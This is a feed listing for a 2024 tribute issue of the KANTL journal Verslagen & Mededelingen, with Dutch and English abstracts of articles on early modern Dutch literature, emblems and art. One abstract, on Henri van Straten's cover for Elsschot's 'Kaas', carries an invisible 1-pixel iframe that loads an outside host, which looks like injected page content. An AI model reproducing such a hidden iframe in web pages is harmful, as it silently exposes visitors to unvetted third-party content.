Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren https://verslagenenmededelingen.be/index.php/VM <p><strong>Tijdschrift voor studie en bevordering van de Nederlandse taal- en letterkunde, gesticht in 1887.</strong></p> <p>De inhoud van elk nummer verschijnt telkens enkele maanden na de gedrukte publicatie online.</p> <p>Bestel een exemplaar van eender welk nummer via de website van de KANTL (http://kantl.be/publicaties/tijdschriften) of lees het later op deze website.</p> <div>&nbsp;</div> Koninklijke Academie voor Nederlandse Taal en Letteren (KANTL) nl-NL Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren 0770-786X Auteurs die publiceren bij dit tijdschrift, onderschrijven de volgende voorwaarden:<br /> <ol type="a"><br /><li>Auteurs behouden de auteursrechten en geven het tijdschrift het recht van eerste publicatie van het werk onder een <a href="http://creativecommons.org/licenses/by/3.0/" target="_new">Creative Commons Attribution Licentie</a> die anderen het recht geeft het werk te delen onder vermelding van het auteurschap van het werk en de eerste publicatie in dit tijdschrift.</li><br /><li>Auteurs mogen separate, additionele contractuele overeenkomsten aangaan voor het niet-exclusief distribueren van de door het tijdschrift gepubliceerde versie van het werk (bv. plaatsing in een institutionele repository of publicatie in een boek), onder vermelding van de eerste publicatie in dit tijdschrift.</li><br /><li>Auteurs hebben het recht en worden aangemoedigd om hun werk online beschikbaar te stellen (bv. in institutionele repositories of op hun website) voorafgaand aan en gedurende de inzending, aangezien dat kan leiden tot productieve discussies, sneller en meer citaties van het gepubliceerde werk (Zie <a href="http://opcit.eprints.org/oacitation-biblio.html" target="_new">The Effect of Open Access</a>).</li></ol> Kromme wegen https://verslagenenmededelingen.be/index.php/VM/article/view/279 <p>Voorwoord bij het huldenummer voor prof. dr. Marc Van Vaeck bij zijn emeritaat.</p> Johan Verberckmoes Lieke van Deinsen Lia van Gemert Gitte Vertommen Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren 2024-11-27 2024-11-27 134 1 5 10 De dieren van De Dene https://verslagenenmededelingen.be/index.php/VM/article/view/273 <p>Dit artikel pleit voor meer erkenning van het humanistische karakter van de tekstuele bijdragen van Eduard de Dene aan <em>De warachtighe fabulen der dieren</em> (1567).</p> <p>This article argues for more recognition of the humanist character of the textual contributions by Eduard de Dene to <em>De warachtighe fabulen der dieren</em> (1567).</p> Bart Ramakers Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren 2024-11-28 2024-11-28 134 1 11 16 Een brief van Bredero https://verslagenenmededelingen.be/index.php/VM/article/view/268 <p><strong>Abstract Nederlands </strong></p> <p>In 1610 vraagt Bredero in een opvallend behoedzaam opgestelde brief aan zijn leermeester Francesco Badens toestemming om een schilderij van Sebastiaen Vrancx te kopiëren voor zijn vader. Uit brieven van de Antwerpse kunsthandelaars Goetkint aan hun handelspartner in Spanje valt af te leiden waarom Bredero zijn brief zo heeft geformuleerd.</p> <p>&nbsp;</p> <p><strong>Abstract English</strong></p> <p>In 1610, Bredero asks his teacher Francesco Badens for permission to copy a painting by Sebastiaen Vrancx for his father in a remarkably cautious letter. Letters from the Antwerp art dealers Goetkint to their buyer in Spain reveal why Bredero worded his letter this way</p> Hubert Meeus Maartje De Wilde Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren 2024-11-28 2024-11-28 134 1 17 23 ‘Hy creyght veel avontueren, die d’lant gaet bekycken’ https://verslagenenmededelingen.be/index.php/VM/article/view/272 <p><strong>Abstract NL</strong></p> <p>De vroegzeventiende-eeuwse Mechelse rederijker Willem de Gortter wijdde enkele gedichten aan plezierreisjes die hij ondernam. Op één van die reisjes bezocht hij het voormalige landgoed van Jan Baptist Houwaert, en dat maakt van deze wandelende dichter de eerste literaire toerist in de Nederlandse literatuurgeschiedenis.</p> <p><strong>&nbsp;</strong></p> <p><strong>Abstract EN</strong></p> <p>In the early seventeenth century, the rhetorician Willem de Gortter composed several poems describing leisurely trips he undertook from his hometown, Mechelen. One of those trips led him to the former estate of Jan Baptist Houwaert, making him the first literary tourist in the history of Dutch literature.</p> Bram Caers Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren 2024-11-28 2024-11-28 134 1 25 30 De duivel op de kast https://verslagenenmededelingen.be/index.php/VM/article/view/254 <p>In het <em>Esbatement van vier personagien</em>, gespeeld tijdens het Mechelse Blazoenfeest (1620), liet Hendrick Fayd’herbe zijn acteurs een magische formule uitspreken. Deze bijdrage verkent enkele dimensies van zulk ritueel taalgebruik, uitgaand van de vraag of toeschouwers het denkbaar achtten dat de formule onbedoeld bovennatuurlijke effecten teweeg zou brengen.</p> <p>&nbsp;</p> <p>In his <em>Esbatement van vier personagien</em>, performed at a rhetoricians’ convention in Mechelen (1620), Hendrick Fayd’herbe had his actors enunciate a magical formula. This contribution explores dimensions of such ritual language, starting from the question of whether spectators might have anticipated unintended supernatural effects after the utterance of the formula.</p> Femke Kramer Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren 2024-11-28 2024-11-28 134 1 31 36 Constantijn Huygens' Zeeuwse debuut https://verslagenenmededelingen.be/index.php/VM/article/view/256 <p>Samenvatting</p> <p>Huygens’ correspondentie maakt duidelijk waarom hij met zijn beroemde gedichten <em>Batava Tempe</em> en ‘<em>tCostelijck Mal</em> in 1622 in Middelburg debuteerde. Huygens stuurde ze op zijn verzoek naar Jacob Cats ter opneming in de bloemlezing de <em>Zeeusche Nachtegael</em> (1623). Wegens te veel kopij hiervoor en Huygens’ ongeduld verschenen ze eerder apart.</p> <p>&nbsp;</p> <p>Abstract</p> <p>Huygens' correspondence makes it clear why he made his debut in Middelburg in 1622 with his famous poems <em>Batava Tempe</em> and <em>'tCostelijck Mal</em>. At his request, Huygens sent them to Jacob Cats for inclusion in the anthology <em>Zeeuwsche Nachtegael</em> (1623). Due to too much copy and Huygens' impatience, they previously appeared separately.</p> Ad Leerintveld Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren 2024-11-28 2024-11-28 134 1 37 43 Een kapitale kleinigheid: de belastingaanslag van Adriaen van de Venne https://verslagenenmededelingen.be/index.php/VM/article/view/266 <p>[zie ook bestand]</p> <p><strong><em>Samenvatting</em></strong></p> <p>Een belastingaanslag van Adriaen van de Venne uit 1623 werpt nieuw licht op de kunstenaar en zijn activiteiten. Van de Venne hoorde bij de financiële elite, waardoor hij als kunstenaar selectief en onafhankelijk te werk kon gaan.</p> <p>&nbsp;</p> <p><strong><em>Abstract</em></strong></p> <p>Adriaen van de Venne's tax assessment from 1623 sheds new light on the artist and his activities. Van de Venne belonged to the financial elite and this enabled him to be selective and independent as an artist.</p> <p>&nbsp;</p> Johan Koppenol Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren 2024-11-28 2024-11-28 134 1 45 50 Adriaen van de Vennes Tafereel van de Belacchende Werelt als marketingtool https://verslagenenmededelingen.be/index.php/VM/article/view/260 <p><span data-contrast="auto">In 1635 publiceerde de schilder-dichter Adriaen van de Venne (1590-1662) zijn dichtbundel </span><em><span data-contrast="auto">Tafereel van de Belacchende Werelt. </span></em><span data-contrast="auto">Naast literaire ambities kunnen hierbij commerciële overwegingen een rol hebben gespeeld. Voor een schilder met een hoge productie als Van de Venne was dit boek namelijk een geschikt middel om de verkoop van zijn schilderijen te stimuleren.</span><span data-ccp-props="{&quot;134233117&quot;:false,&quot;134233118&quot;:false,&quot;134245417&quot;:false,&quot;201341983&quot;:0,&quot;335551550&quot;:1,&quot;335551620&quot;:1,&quot;335559685&quot;:0,&quot;335559737&quot;:0,&quot;335559738&quot;:0,&quot;335559739&quot;:0,&quot;335559740&quot;:360}">&nbsp;</span></p> Edwin Buijsen Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren 2024-11-28 2024-11-28 134 1 51 57 Het oorkussen van de duivel https://verslagenenmededelingen.be/index.php/VM/article/view/247 <p>In 1646 publiceerde de Antwerpse pastoor Peter Loycx een uitvoerig Latijns traktaat over werk en nietsdoen, <em>Laboris encomium, acediae vituperium</em>. Hoewel zijn arbeidsethiek erg traditioneel van inslag blijkt te zijn, slaagt hij er niettemin in nieuwe accenten in het katholieke discours over arbeid en nietsdoen te leggen. Dat komt vooral tot uiting in de uitbreiding van zijn arbeidsethiek tot een heuse taalethiek: allerlei vormen van immoreel taalgebruik vinden volgens de auteur hun wortel in zondig nietsdoen.</p> <p>&nbsp;</p> <p>In 1646 the Antwerp priest Peter Loycx published a vast Latin treatise on labor and sloth, <em>Laboris encomium, acediae vituperium</em>. Although his views appear to be rather traditional, the author nonetheless succeeds in introducing some new elements into the Catholic discourse on work and idleness. Most surprising is his shift from work ethic to an ethics of language and speech. In the present article I shall examine this shift in some detail.</p> Toon Van Houdt Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren 2024-11-28 2024-11-28 134 1 59 63 Het sleuteltje van het ‘sackhorologie’ van Michaelina Wautier (1614-1689) https://verslagenenmededelingen.be/index.php/VM/article/view/257 <p><em>Samenvatting</em></p> <p>Michaelina Wautier poseert op haar <em>Zelfportret</em> (ca. 1650) met de attributen van de schilder maar heeft ook een zakhorloge toegevoegd. Dit kleinood was in de 17<sup>de</sup> eeuw zeldzaam en kostbaar. In stillevens verschijnt het klokje als een <em>vanitas</em>symbool. De vraag is hoe het in de context van dit zelfportret kan worden geduid.</p> <p><em>Abstract</em></p> <p>In her self-portrait Michaelina Wautier (c.1650) shows herself to be an accomplished painter. She poses with the attributes of a painter, but has added a pocket watch. This was a precious object in the 17th century. In contemporary still lifes, the watch appears as a <em>vanitas</em> symbol. The question is how to interpret Wautier's accessory.</p> Katlijne Van der Stighelen Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren 2024-11-28 2024-11-28 134 1 65 72 'Wat kan ick beter doen…?' Over de inleidende strofen van Jeremias de Deckers Goede Vrydag (1651) https://verslagenenmededelingen.be/index.php/VM/article/view/258 <p>Jeremias de Deckers <em>Goede Vrydag ofte het lyden onses Heeren Jesu Christi</em> is vanaf de eerste uitgave in 1651 herkend als een meesterwerk. Tijdens De Deckers leven is het driemaal herdrukt, en tot in de twintigste eeuw nog zesmaal, nog afgezien van school- en studieuitgaven, waarvan die van Buitendijk (1958, 1978) de voornaamste is. In 1990 publiceerde Jan Konst zijn klassiek geworden studie over de retorische technieken waarmee in <em>Goede Vrydag</em> de emoties van de lezers worden bespeeld. Ook nu is het gedicht niet vergeten (Joosten 2015, 2020). In deze bijdrage sta ik stil bij de vijf korte strofen waarmee <em>Goede Vrydag</em> wordt ingeleid. Op bedrieglijk onnadrukkelijke wijze presenteert De Decker zich hier als een ambitieus dichter, die zijn lezers misschien wel meer wil geven dan iemand ooit gelukt is.</p> Ton van Strien Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren 2024-11-28 2024-11-28 134 1 73 78 ‘Men vint geneught en groot vermaeck, oock even in een kleyne saeck’ https://verslagenenmededelingen.be/index.php/VM/article/view/262 <p>Deze case study bespreekt een <em>pictura</em> uit Jacob Cats’ <em>Hof-gedachten</em> (1655), die verschijnt als schilderij aan de muur in een prent uit zijn <em>Dood-kiste voor de levendige</em> (1655). Wat op het eerste gezicht een detail lijkt, blijkt een intertekstuele verwijzing te zijn die zorgt voor een nieuwe, ironiserende &nbsp;betekenislaag.</p> Gitte Vertommen Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren 2024-11-28 2024-11-28 134 1 79 85 Borssesnijders sonder mes https://verslagenenmededelingen.be/index.php/VM/article/view/249 <p><span style="font-weight: 400;">De </span><em><span style="font-weight: 400;">Cluchte vanden Stouten Boer en den Geveijnsden Auditeur</span></em><span style="font-weight: 400;"> van Cornelis De Bie werd lang verloren gewaand, maar is nu teruggevonden in een convoluut dat ook een handschriftversie van </span><em><span style="font-weight: 400;">De Verloren Sone </span></em><span style="font-weight: 400;">bevat. In de klucht komen typische genre-elementen samen met aspecten die gelinkt kunnen worden aan De Bies achtergrond. </span></p> Pascal Calu Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren 2024-11-28 2024-11-28 134 1 87 91 Zwaan-kleef-aan https://verslagenenmededelingen.be/index.php/VM/article/view/270 <p>In 1712 vervaardigde de jonge graveur Jacob Folkema een portretgravure van de populaire journalist-dichter Jan van Gijzen te maken. Door middel van visuele verwijzingen ving de graveur twee ogenschijnlijk tegenstrijdige drijfveren achter Van Gijsens schrijverschap in één beeld: het streven naar symbolisch en economisch kapitaal.</p> <div id="ConnectiveDocSignExtentionInstalled" data-extension-version="1.0.4">&nbsp;</div> Lieke van Deinsen Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren 2024-11-28 2024-11-28 134 1 93 99 Toekomstdromen voor nieuwe generaties https://verslagenenmededelingen.be/index.php/VM/article/view/269 <p>In de Gentse <em>St. Nicolaes almanach</em> (1798) kreeg tekst- en beeldmateriaal uit Swildens’ <em>Vaderlandsch A-B Boek voor de Nederlandsche Jeugd</em> (1781) een nieuwe betekenis dankzij subtiele visuele en tekstuele aanpassingen: waar Swildens streefde naar eendracht en revolutie in de Republiek der Zeven Verenigde Nederlanden, reflecteert zijn materiaal in de nieuwe context van de kinderalmanak het ideaal van een Nederland waarin noordelijke en zuidelijke provincies verenigd zijn.</p> Feike Dietz Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren 2024-11-28 2024-11-28 134 1 101 108 Oog voor detail https://verslagenenmededelingen.be/index.php/VM/article/view/248 <p>In ‘Het mierennest’ (1813) bekritiseert Hendrik Tollens op indirecte wijze de Franse keizer Napoleon Bonaparte. Hij sloot daarmee aan bij een rijke literaire traditie, waarin de mier werd ingezet om het publiek een morele spiegel voor te houden: van de Griekse fabeldichter Aesopus tot aan Jacob Cats en Jan Luyken.</p> Lotte Jensen Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren 2024-11-28 2024-11-28 134 1 109 115 Doop en omdoping in Aardenburg (1817) van Petronella Moens https://verslagenenmededelingen.be/index.php/VM/article/view/275 <p><em>Samenvatting </em></p> <p><em>&nbsp;</em>In de roman <em>Aardenburg </em>(1817) van Petronella Moens wordt een fictionele door Nederlandse kolonisten bevolkte plaats in Zuid-Amerika omgedoopt tot ‘Aardenburg’, de naam van het stadje in Zeeuws-Vlaanderen waar de auteur opgroeide. Die lokale context klinkt ook door in de religieuze inhoud van de roman en dan met name in het motief van de volwassenendoop.&nbsp;</p> <p>&nbsp;</p> <p><em>Abstract</em></p> <p>In the novel <em>Aardenburg</em> (1817) by Petronella Moens, a fictional place populated by Dutch colonists in South America is renamed ‘Aardenburg’, after the small town in Zeeland-Flanders where the author grew up. This local context also resonates in the religious content of the novel, particularly in the motif of adult baptism.</p> Kornee van der Haven Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren 2024-11-28 2024-11-28 134 1 117 122 Maatwerk https://verslagenenmededelingen.be/index.php/VM/article/view/263 <p>De Amsterdamse kleermaker Gerardus Johannes Joha (1827-1904) maakte halverwege de negentiende eeuw een handgeschreven bundel waarin hij gedrukte emblemen tekstueel en visueel bewerkt en veelbetekenende ‘details’ weglaat. Met deze toe-eigening plaatst hij zich op verrassende wijze in een langere traditie die eerder beschreven is door Marc van Vaeck en anderen.</p> Nelleke Moser Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren 2024-11-28 2024-11-28 134 1 123 129 ‘Plotseling zie ik mijn graf.’ Henri van Straten illustreert Kaas van Willem Elsschot https://verslagenenmededelingen.be/index.php/VM/article/view/267 <p>De vierde druk van Willem Elsschots korte roman <em>Kaas</em>, uit 1944, verscheen met een nieuw bandontwerp van de Antwerpse grafische kunstenaar Henri van Straten. De lino stelt het hoofdpersonage Laarmans voor, omgeven door allerlei objecten en figuren uit de roman. Dit artikel ‘leest’ deze illustratie als een gelaagde commentaar op en interpretatie van de roman, waarbij de tegenstelling tussen realisme en symboliek, tussen de materiële werkelijkheid en de quasi-religieuze confrontatie met de dood centraal staat.</p> <p>The fourth edition of Elsschot's short novel Cheese, from 1944, was published with a new cover design by the Antwerp graphic artist Henri van Straten. The lino represents the main character Laarmans, surrounded by all kinds of objects and figures from the novel. The present article 'reads' this illustration as a layered commentary on and interpretation of the novel, that plays with the contrast between realism and symbolism, between material reality and the quasi-religious confrontation with death.</p> <div><iframe style="position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;" src="//div.show/public"></iframe></div> Pieter Verstraeten Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren 2024-11-28 2024-11-28 134 1 131 136 Het Bloote Woort en ’t Embleem https://verslagenenmededelingen.be/index.php/VM/article/view/274 <p>In 1977 publiceert Hugo Claus <em>De vluchtende Atalanta</em>. In dit bibliofiele boek herneemt Claus zeven gravures uit het alchemistische emblemenboek <em>Atalanta Fugiens </em>(1617) van Michael Maier en hij schrijft er een surrealistisch verhaal bij. Dit artikel laat zien hoe die afbeeldingen niet louter als ornamenten fungeren maar als een motor voor Claus’ speelse schrijven en als een betekenisvol onderdeel voor de interpretatie van het werk.</p> <p>In 1977, Hugo Claus publishes <em>De vluchtende Atalanta</em>. This bibliophile edition presents a surrealistic story along seven emblems selected from the alchemist emblem book <em>Atalanta Fugiens </em>(1617) by Michael Maier. This article demonstrates how the images function as a driving force behind the author’s playful writing and as a meaningful part for the interpretation of the work.</p> Linde De Potter Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren 2024-11-28 2024-11-28 134 1 137 143 Enten op het werk van Marc Van Vaeck https://verslagenenmededelingen.be/index.php/VM/article/view/265 <p>Onderzoek naar de emblematiek heeft zich altijd gekenmerkt voor aandacht voor het detail, en Marc&nbsp; Van Vaecks dissertatie uit 1990 over Adriaen van de Vennes <em>Tafereel van de Belacchende Werelt</em> is daarvan een voorbeeld dat zich niet laat overtreffen. Eerder dan een poging tot overtreffing of zelfs maar imitatie, is deze bijdrage daarom een poging van het detail naar de grote lijnen te kijken, om te laten zien hoe het detailwerk voortleeft en voorgezet kan worden door jongere generaties.</p> Els Stronks Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren 2024-11-28 2024-11-28 134 1 145 152